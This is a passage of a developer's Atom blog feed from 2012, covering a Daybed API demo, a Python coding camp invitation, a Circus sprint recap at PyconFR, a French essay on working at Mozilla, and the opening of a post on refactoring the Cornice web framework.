&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;description&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;is it done or not&amp;quot;&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="p"&gt;]}&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;cl&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;put_definition&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;model_name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;todo&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;todo_def&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;cl&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;post_data&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;model_name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;todo&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;item&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;make it work&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;todo&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sa"&gt;u&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;id&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sa"&gt;u&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;9f2c90c0529a442cfdc03c191b022cf7&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;cl&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_data&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;model_name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;todo&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Finally, we were out of cheese so everyone headed back to their respective
houses and cities.&lt;/p&gt;
&lt;p&gt;Until next time?&lt;/p&gt;
&lt;/div&gt;
</content></entry><entry><title>Cheese &amp; Code party: October 20-21</title><link href="https://blog.notmyidea.org/afpy-computer-camp-october-20-21.html" rel="alternate"></link><published>2012-09-20T00:00:00+02:00</published><updated>2012-09-20T00:00:00+02:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2012-09-20:/afpy-computer-camp-october-20-21.html</id><summary type="html">&lt;p&gt;At PyconFR, this week-end, a few ideas were thrown in the air and one of them
was to have a /dev/fort doing some python-related coding.&lt;/p&gt;
&lt;p&gt;The concept of a /dev/fort is to put a bunch of hackers together and see what
comes out from it. Tarek is doing …&lt;/p&gt;</summary><content type="html">&lt;p&gt;At PyconFR, this week-end, a few ideas were thrown in the air and one of them
was to have a /dev/fort doing some python-related coding.&lt;/p&gt;
&lt;p&gt;The concept of a /dev/fort is to put a bunch of hackers together and see what
comes out from it. Tarek is doing something related with the Afpy Computer
Camps at his house each year, I've been there twice and it really was a nice
experience.&lt;/p&gt;
&lt;p&gt;At Djangocong 2012, in Montpellier (south of France), &lt;a class="reference external" href="http://blog.mathieu-leplatre.info/"&gt;Mathieu Leplatre&lt;/a&gt; and myself started to work on a model
validation and storage service, named &lt;a class="reference external" href="https://github.com/spiral-project/daybed/"&gt;Daybed&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I've talked about this project to some persons this week-end (I've even done &lt;a class="reference external" href="http://alexis.notmyidea.org/lightning-daybed.html"&gt;a
lightning talk&lt;/a&gt; about it)
and it gathered some interest from people in the python community, so we
thought about sprinting on this.&lt;/p&gt;
&lt;div class="section" id="and-21-october-a-computer-camp"&gt;
&lt;h2&gt;20 and 21 October - A Computer Camp !&lt;/h2&gt;
&lt;p&gt;Add to this a few beers, and the sprint turns magically into a camp. We'll be
sprinting at the end of October (the 20 and 21) near Angers, on daybed.&lt;/p&gt;
&lt;p&gt;We plan to have great food and wine, so if you feel like it and if you want to
come and work on some python-related things, you're invited!&lt;/p&gt;
&lt;p&gt;Although, I can host a limited number of persons, so you'll need to contact me
before :), that's &lt;cite&gt;alexis at notmyidea dot org&lt;/cite&gt;.&lt;/p&gt;
&lt;p&gt;I've setup a wiki page to organize a bit everything (knowing how many people will
come by will allow me to handle things better), please put information there:&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="http://wiki.python.org/moin/ComputerCampAlexis"&gt;http://wiki.python.org/moin/ComputerCampAlexis&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
</content></entry><entry><title>Circus sprint at PyconFR</title><link href="https://blog.notmyidea.org/circus-sprint-at-pyconfr.html" rel="alternate"></link><published>2012-09-17T00:00:00+02:00</published><updated>2012-09-17T00:00:00+02:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2012-09-17:/circus-sprint-at-pyconfr.html</id><summary type="html">&lt;p&gt;Last Thursday to Sunday, &lt;a class="reference external" href="http://pycon.fr"&gt;Pycon France&lt;/a&gt; took place, in
Paris. It was the opportunity to meet a lot of people and to talk about python
awesomness in general.&lt;/p&gt;
&lt;p&gt;We had three tracks this year, plus sprints the two first days. We sprinted on
&lt;a class="reference external" href="http://circus.io"&gt;Circus&lt;/a&gt;, the process and socket manager we're …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Last Thursday to Sunday, &lt;a class="reference external" href="http://pycon.fr"&gt;Pycon France&lt;/a&gt; took place, in
Paris. It was the opportunity to meet a lot of people and to talk about python
awesomness in general.&lt;/p&gt;
&lt;p&gt;We had three tracks this year, plus sprints the two first days. We sprinted on
&lt;a class="reference external" href="http://circus.io"&gt;Circus&lt;/a&gt;, the process and socket manager we're using
at Mozilla for some of our setups.&lt;/p&gt;
&lt;p&gt;The project gathered some interest, and we ended up with 5 persons working on
it. Of course, we spent some time explaining what is Circus, how it had been
built, a lot of time talking about use-cases and possible improvements, but we
also managed to add new features.&lt;/p&gt;
&lt;p&gt;Having people wanting to sprint on our projects is exciting because that's
when making things in the open unleashes its full potential. You can't imagine
how happy I was to have some friends come and work on this with us :)&lt;/p&gt;
&lt;p&gt;Here is a wrap-up of the sprint:&lt;/p&gt;
&lt;div class="section" id="autocompletion-on-the-command-line"&gt;
&lt;h2&gt;Autocompletion on the command-line&lt;/h2&gt;
&lt;p&gt;&lt;a class="reference external" href="http://natim.ionyse.com"&gt;Remy Hubscher&lt;/a&gt; worked on the command-line
autocompletion. Now we have a fancy command-line interface which is able to
aucomplete if you're using bash. It seems that not that much work is needed to
make it happen on zsh as well :)&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://github.com/mozilla-services/circus/blob/master/extras/circusctl_bash_completion"&gt;Have a look at the feature&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;On the same topic, we now have a cool shell for Circus. If you start the
&lt;cite&gt;circusctl&lt;/cite&gt; command without any option, you'll end-up with a cool shell. Thanks
&lt;a class="reference external" href="https://github.com/jojax"&gt;Jonathan Dorival&lt;/a&gt; for the work on this! You can
have a look at &lt;a class="reference external" href="https://github.com/mozilla-services/circus/pull/268"&gt;the pull request&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="future-changes-to-the-web-ui"&gt;
&lt;h2&gt;Future changes to the web ui&lt;/h2&gt;
&lt;p&gt;&lt;a class="reference external" href="https://twitter.com/rachbelaid"&gt;Rachid Belaid&lt;/a&gt; had a deep look at the source
code and is much more familiarized to it now than before. We discussed the
possibility to change the implementation of the web ui, and I'm glad of this.
Currently, it's done with bottle.py and we want to switch to pyramid.&lt;/p&gt;
&lt;p&gt;He fixed some issues that were in the tracker, so we now can have the age of
watchers in the webui, for instance.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="bug-and-doc-fixing"&gt;
&lt;h2&gt;Bug and doc fixing&lt;/h2&gt;
&lt;p&gt;While reading the source code, we found some inconsistencies and fixed them,
with &lt;a class="reference external" href="http://mathieu.agopian.info/"&gt;Mathieu Agopian&lt;/a&gt;. We also tried to
improve the documentation at different levels.&lt;/p&gt;
&lt;p&gt;Documentation still needs a lot of love, and I'm planning to spend some time on
this shortly. I've gathered a bunch of feedback on this&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="circus-clustering-capabilities"&gt;
&lt;h2&gt;Circus clustering capabilities&lt;/h2&gt;
&lt;p&gt;One feature I wanted to work on during this sprint was the clustering abilities
of Circus. Nick Pellegrino made an internship on this topic at Mozilla so we
spent some time to review his pull requests.&lt;/p&gt;
&lt;p&gt;A lot of code was written for this so we discussed a bunch of things
regarding all of this. It took us more time than expected (and I still need to
spend more time on this to provide appropriate feedback), but it allowed us to
have a starting-point about what this clustering thing could be.&lt;/p&gt;
&lt;p&gt;Remy wrote &lt;a class="reference external" href="http://tech.novapost.fr/circus-clustering-management-en.html"&gt;a good summary about our brainstorming&lt;/a&gt; so I'll not do
it again here, but feel free to contact us if you have ideas on this, they're
very welcome!&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="project-management"&gt;
&lt;h2&gt;Project management&lt;/h2&gt;
&lt;p&gt;We've had some inquiries telling us that's not as easy as it should to get
started with the Circus project. Some of the reasons are that we don't
have any release schedule, and that the documentation is hairy enough to lost
people, at some point :)&lt;/p&gt;
&lt;p&gt;That's something we'll try to fix soon :)&lt;/p&gt;
&lt;p&gt;PyconFR was a very enjoyable event. I'm looking forward to meet the community
again and discuss how Circus can evolve in ways that are interesting to
everyone.&lt;/p&gt;
&lt;p&gt;Tarek and me are going to &lt;a class="reference external" href="http://python.ie/pycon/2012/"&gt;Pycon ireland&lt;/a&gt;, feel
free to reach us if you're going there, we'll be happy to meet and enjoy beers!&lt;/p&gt;
&lt;/div&gt;
</content></entry><entry><title>Pourquoi Mozilla?</title><link href="https://blog.notmyidea.org/pourquoi-mozilla-fr.html" rel="alternate"></link><published>2012-07-16T00:00:00+02:00</published><updated>2012-07-16T00:00:00+02:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2012-07-16:/pourquoi-mozilla-fr.html</id><summary type="html">&lt;p&gt;Depuis que j'ai commencé à bosser chez Mozilla, je me retrouve assez souvent à
expliquer ce que j'y fais. J'aime bien raconter l'histoire de Mozilla, la
mission, et comment je m'y rattache.&lt;/p&gt;
&lt;p&gt;Je prends bien sur un malin plaisir à expliquer à chaque fois les tenants et
les aboutissants, aussi …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Depuis que j'ai commencé à bosser chez Mozilla, je me retrouve assez souvent à
expliquer ce que j'y fais. J'aime bien raconter l'histoire de Mozilla, la
mission, et comment je m'y rattache.&lt;/p&gt;
&lt;p&gt;Je prends bien sur un malin plaisir à expliquer à chaque fois les tenants et
les aboutissants, aussi je me suis dit que ça pouvait avoir du sens de l'écrire
quelque part.&lt;/p&gt;
&lt;p&gt;Ça parle bien sur de logiciel libre, de protection de la vie privée et de
contre-pouvoirs.&lt;/p&gt;
&lt;p&gt;Je ne m'adresse pas ici aux afficionados du logiciel libre et du non contrôle
du web, mais aux potentiels intéressés, qui souhaitent comprendre ce qu'on fait
à Mozilla, pourquoi et comment, et plus particulièrement quel est le rôle que
je joue la dedans.&lt;/p&gt;
&lt;div class="section" id="logiciel-libre"&gt;
&lt;h2&gt;Logiciel libre&lt;/h2&gt;
&lt;p&gt;Une des premières choses qui vient à l'esprit des gens quand on parle de
Mozilla, et par extension de Firefox, c'est qu'il s'agit d'un logiciel gratuit.
D'un logiciel soit disant &amp;quot;libre&amp;quot;. Avouez que le concept est de prime abord
curieux. Un logiciel qui serait libéré, mais libéré de quoi ?&lt;/p&gt;
&lt;p&gt;Je ne vais pas refaire la génèse du logiciel et du logiciel libre, mais pour
résumer et expliquer ça très grossièrement, le logiciel libre c'est pour moi
l'idée de la collaboration. &amp;quot;Plutôt que de travailler chacun dans son coin,
construisons ensemble quelque chose qui nous sera utile à tous&amp;quot;. Ça marche dans
le domaine de l'informatique parce qu'on est exposé à un bien commun non
matériel. Ce n'est pas parce que je te donne un logiciel que je ne l'ai plus.
La duplication est possible et elle rend la collaboration plus facile.&lt;/p&gt;
&lt;div class="section" id="euh-oui-mais"&gt;
&lt;h3&gt;Euh, oui mais…&lt;/h3&gt;
&lt;p&gt;Ok, ok. Et comment on coopère ? Derrière un logiciel, il faut écrire des lignes
de code, il faut décrire comment doit se comporter le logiciel dans l'ensemble
des cas qu'il peut rencontrer. Mais pas seulement. Beaucoup de personnes
travaillent pour faire en sorte que Firefox soit disponible dans près de 100
langues et dialectes par exemple.&lt;/p&gt;
&lt;p&gt;J'aime beaucoup penser que le logiciel libre réussit à réunir des personnes
avec des objectifs differents. Linux, qui est un logiciel libre, est par exemple
utilisé dans beaucoup de domaines très différents tels que la médecine,
l'automobile ou l'énergie.&lt;/p&gt;
&lt;p&gt;Le logiciel libre est une valeur clé que nous défendons chez Mozilla.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="protection-de-la-vie-privee"&gt;
&lt;h2&gt;Protection de la vie privée&lt;/h2&gt;
&lt;p&gt;Mozilla en fait un peu sa devise. Nous ne sommes pas une entreprise, nous
n'avons aucun intérêt à enfermer les utilisateurs chez nous, et surtout nous
n'exploitons et n'exploiterons pas les données utilisateurs à des fins
commerciales. Jamais.&lt;/p&gt;
&lt;div class="section" id="stockage-des-donnees"&gt;
&lt;h3&gt;Stockage des données&lt;/h3&gt;
&lt;p&gt;Un exemple qui est frappant est celui de &lt;a class="reference external" href="https://www.mozilla.org/en-US/mobile/sync/"&gt;Sync&lt;/a&gt;, l'outil qui permet de
synchroniser les données de navigation entre plusieurs périphériques (Cela peut
être utile pour avoir votre historique de navigation partagé entre votre
ordinateur de bureau et un téléphone portable par exemple)&lt;/p&gt;
&lt;p&gt;Les données qui sont stockées dans un service tel que sync sont cruciales: vos
mots de passe et votre historique de navigation par exemple. Imaginez ce que
des annonceurs publicitaires pourraient faire avec ces données. Il est assez
facile de connaître votre profil et donc d'ensuite faire de la publicité
ciblée à partir de ces informations. Voire pire. Donner ces données à qui fait
suffisemment pression sur vous pour les récupérer.&lt;/p&gt;
&lt;p&gt;Heureusement, les données qui sont stockées sur les serveurs Sync sont
chifrées, et seul l'utilisateur a accès a la clé de chiffrement et de
déchiffrement. En d'autres termes, en ayant accès aux serveurs de Mozilla, même
de l'intérieur, je pourrais avoir accès à vos données mais je ne pourrais rien
en faire car celles-ci me sont impossibles à déchiffrer.&lt;/p&gt;
&lt;p&gt;Mozilla essaye de mettre le doigt là où ça fait mal dans l'innovation web&amp;nbsp;: la
publicité et le respect de la vie privée des utilisateurs. Facebook, Google,
Twitter sont autant d'entreprises qui gagnent de l'argent grâce à leurs
utilisateurs et à leurs données privées.&lt;/p&gt;
&lt;p&gt;Cela n'est pas &lt;em&gt;nécessairement&lt;/em&gt; un mal mais il me semble important d'informer
les utilisateurs d'Internet la dessus, et de leur proposer des méthodes qui
leur permettent de protéger leur vie privée.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="decentralisation"&gt;
&lt;h3&gt;Décentralisation&lt;/h3&gt;
&lt;p&gt;Un autre aspect important est le fait que vous n'avez pas besoin de dépendre des
serveurs de Mozilla si vous ne souhaitez pas en dépendre. Bien que nous
fassions tout ce qui est en notre pouvoir pour avoir des serveurs très réactifs
et capables de tenir la charge, nous ne sommes pas à l'abri de pannes. Auquel
cas il vous faudra simplement vous armer de patience.&lt;/p&gt;
&lt;p&gt;Mais il est possible pour vous de maintenir votre propre serveur et de ne pas
dépendre de Mozilla pour stocker vos données privées. J'ai parlé de Sync mais
Mozilla (j'en parle un peu plus bas) travaille aussi sur un système
d'exploitation pour téléphone portable, nommé Firefox OS (anciennement Boot 2
Gecko), et sur l'écosystème qui va avec.&lt;/p&gt;
&lt;p&gt;Actuellement, si vous souhaitez synchroniser vos contacts par exemple, vous
dépendez quasiment toujours d'une autorité à qui vous ne faites peut être pas
confiance: Apple, Microsoft ou bien Google.&lt;/p&gt;
&lt;p&gt;On ne vous propose pas simplement de nous faire confiance, on vous propose la
possibilité de ne faire confiance qu'à ceux à qui vous souhaitez accorder votre
confiance, et ça peut être vous si vous le souhaitez.&lt;/p&gt;
&lt;p&gt;La décentralisation à ceci de bon qu'elle vous laisse le choix d'où vous
souhaitez stocker vos données.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="innovation-et-standardisation"&gt;
&lt;h2&gt;Innovation et standardisation&lt;/h2&gt;
&lt;p&gt;Mozilla, dès ses débuts, a été un laboratoire. Firefox (si je ne me trompe pas)
a été le premier navigateur à avoir des onglets. Le web, c'est cool parce que
ça bouge tout le temps ! (Edit: en fait, &lt;a class="reference external" href="http://en.wikipedia.org/wiki/Tabbed_document_interface"&gt;ce n'était pas le premier&lt;/a&gt;, mais l'idée est là)&lt;/p&gt;
&lt;p&gt;La dernière innovation en date est Firefox OS: utilisons les technologies du
web pour créer un téléphone: utilisons le web comme plateforme, et profitons de
tout l'écosystème qui existe déjà autour de celui-ci.&lt;/p&gt;
&lt;p&gt;C'est bien que ça bouge mais il faut qu'on se mette d'accord sur comment on
veut faire bouger les choses. La guerre des navigateurs a eu lieu. Ne pas
reproduire ça est parfois un challenge. La standardisation, tout le monde s'y
met.&lt;/p&gt;
&lt;p&gt;On a gagné une guerre: aux utilisateurs de choisir les outils qu'ils souhaitent
et non pas aux développeurs d'imposer leurs choix.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="et-moi-qu-est-ce-que-je-fais-la-dedans"&gt;
&lt;h2&gt;Et moi, qu'est-ce que je fais la dedans ?&lt;/h2&gt;
&lt;p&gt;Je travaille dans l'équipe nommée Services. On travaille à la mise en
place de services web qui sont capables de tenir la charge, de fonctionner de
manière décentralisée.&lt;/p&gt;
&lt;p&gt;Ce travail a plusieurs objectifs:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Mettre à disposition des outils pour les développeurs, leur permettant de
créer des services de bonne qualité rapidement;&lt;/li&gt;
&lt;li&gt;Permettre aux utilisateurs d'héberger eux mêmes leurs propres serveurs s'ils
le souhaitent, réduisant leur dépendance a des services externes.&lt;/li&gt;
&lt;li&gt;Écrire les services en question de telle manière que les utilisateurs (vous
!) puissent les utiliser sans avoir trop de tracas :)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Ça semble peu, mais j'aime ce boulot. Éthiquement et techniquement. C'est ça,
pour moi, la mission de Mozilla. Si vous avez des suggestions sur ce qui
pourrait être amélioré dans les services de Mozilla en termes de protection de
la vie privée, de décentralisation et de haute disponibilité, vous savez vers
qui vous tourner !&lt;/p&gt;
&lt;p&gt;La liste des projets sur lesquels je travaille ou j'ai travaillé à Mozilla pour
l'instant:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;a class="reference external" href="https://github.com/mozilla-services/tokenserver"&gt;https://github.com/mozilla-services/tokenserver&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="http://circus.io/"&gt;http://circus.io/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="http://powerhose.rtfd.org/"&gt;http://powerhose.rtfd.org/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="https://github.com/mozilla-services/server-aitc"&gt;https://github.com/mozilla-services/server-aitc&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="http://cornice.readthedocs.org/en/latest/index.html"&gt;http://cornice.readthedocs.org/en/latest/index.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="https://github.com/mozilla/PyBrowserID/"&gt;https://github.com/mozilla/PyBrowserID/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="http://chaussette.readthedocs.org/en/0.3/index.html"&gt;http://chaussette.readthedocs.org/en/0.3/index.html&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
</content><category term="logiciel-libre"></category><category term="valeurs"></category></entry><entry><title>Refactoring Cornice</title><link href="https://blog.notmyidea.org/refactoring-cornice.html" rel="alternate"></link><published>2012-05-14T00:00:00+02:00</published><updated>2012-05-14T00:00:00+02:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2012-05-14:/refactoring-cornice.html</id><summary type="html">&lt;p&gt;After working for a while with &lt;a class="reference external" href="http://cornice.readthedocs.com"&gt;Cornice&lt;/a&gt; to
define our APIs at &lt;a class="reference external" href="http://docs.services.mozilla.com"&gt;Services&lt;/a&gt;, it turned
out that the current implementation wasn't flexible enough to allow us to do
what we wanted to do.&lt;/p&gt;
&lt;p&gt;Cornice started as a toolkit on top of the &lt;a class="reference external" href="http://docs.pylonsproject.org/en/latest/docs/pyramid.html"&gt;pyramid&lt;/a&gt; routing system,
allowing to register services in …&lt;/p&gt;</summary><content type="html">&lt;p&gt;After working for a while with &lt;a class="reference external" href="http://cornice.readthedocs.com"&gt;Cornice&lt;/a&gt; to
define our APIs at &lt;a class="reference external" href="http://docs.services.mozilla.com"&gt;Services&lt;/a&gt;, it turned
out that the current implementation wasn't flexible enough to allow us to do
what we wanted to do.&lt;/p&gt;
&lt;p&gt;Cornice started as a toolkit on top of the &lt;a class="reference external" href="http://docs.pylonsproject.org/en/latest/docs/pyramid.html"&gt;pyramid&lt;/a&gt; routing system,
allowing to register services in a simpler way. Then we added some niceties
such as the ability to automatically generate the services documentation or
returning the correct HTTP headers &lt;a class="reference external" href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html"&gt;as defined by the HTTP specification&lt;/a&gt; without the need
from the developer to deal with them nor to know them.&lt;/p&gt;
&lt;p&gt;If you're not familiar with Cornice, here is how you define a simple service
with it:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cornice.service&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Service&lt;/span&gt;
&lt;span class="n"&gt;bar&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Service&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;/bar&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nd"&gt;@bar.get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;validators&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;validators&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;accept&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;application/json&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_drink&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="c1"&gt;# do something with the request (with moderation).&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This external API is quite cool, as it allows to do a bunch of things quite
easily. For instance, we've written our &lt;a class="reference external" href="https://github.com/mozilla-services/tokenserver"&gt;token-server&lt;/a&gt; code on top of this in a
blast.&lt;/p&gt;
&lt;div class="section" id="the-burden"&gt;
&lt;h2&gt;The burden&lt;/h2&gt;
&lt;p&gt;The problem with this was that we were mixing internally the service
description logic with the route registration one. The way we were doing this
was via an extensive use of decorators internally.&lt;/p&gt;
&lt;p&gt;The API of the &lt;cite&gt;cornice.service.Service&lt;/cite&gt; class was as following (simplified so
you can get the gist of it).&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Service&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;object&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="fm"&gt;__init__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;service_kwargs&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="c1"&gt;# some information, such as the colander schemas (for validation),&lt;/span&gt;
&lt;span class="c1"&gt;# the defined methods that had been registered for this service and&lt;/span&gt;
&lt;span class="c1"&gt;# some other things were registered as instance variables.&lt;/span&gt;
&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;schemas&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;service_kwargs&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;schema&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;, None)&lt;/span&gt;
&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;defined_methods&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;definitions&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;api&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;view_kwargs&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="sd"&gt;&amp;quot;&amp;quot;&amp;quot;This method is a decorator that is being used by some alias&lt;/span&gt;
&lt;span class="sd"&gt; methods.&lt;/span&gt;
&lt;span class="sd"&gt; &amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;wrapper&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;view&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="c1"&gt;# all the logic goes here. And when I mean all the logic, I&lt;/span&gt;
&lt;span class="c1"&gt;# mean it.&lt;/span&gt;
&lt;span class="c1"&gt;# 1. we are registering a callback to the pyramid routing&lt;/span&gt;
&lt;span class="c1"&gt;# system so it gets called whenever the module using the&lt;/span&gt;
&lt;span class="c1"&gt;# decorator is used.&lt;/span&gt;
&lt;span class="c1"&gt;# 2. we are transforming the passed arguments so they conform&lt;/span&gt;
&lt;span class="c1"&gt;# to what is expected by the pyramid routing system.&lt;/span&gt;
&lt;span class="c1"&gt;# 3. We are storing some of the passed arguments into the&lt;/span&gt;
&lt;span class="c1"&gt;# object so we can retrieve them later on.&lt;/span&gt;
&lt;span class="c1"&gt;# 4. Also, we are transforming the passed view before&lt;/span&gt;
&lt;span class="c1"&gt;# registering it in the pyramid routing system so that it&lt;/span&gt;
&lt;span class="c1"&gt;# can do what Cornice wants it to do (checking some rules,&lt;/span&gt;
&lt;span class="c1"&gt;# applying validators and filters etc.&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;wrapper&lt;/span&gt;
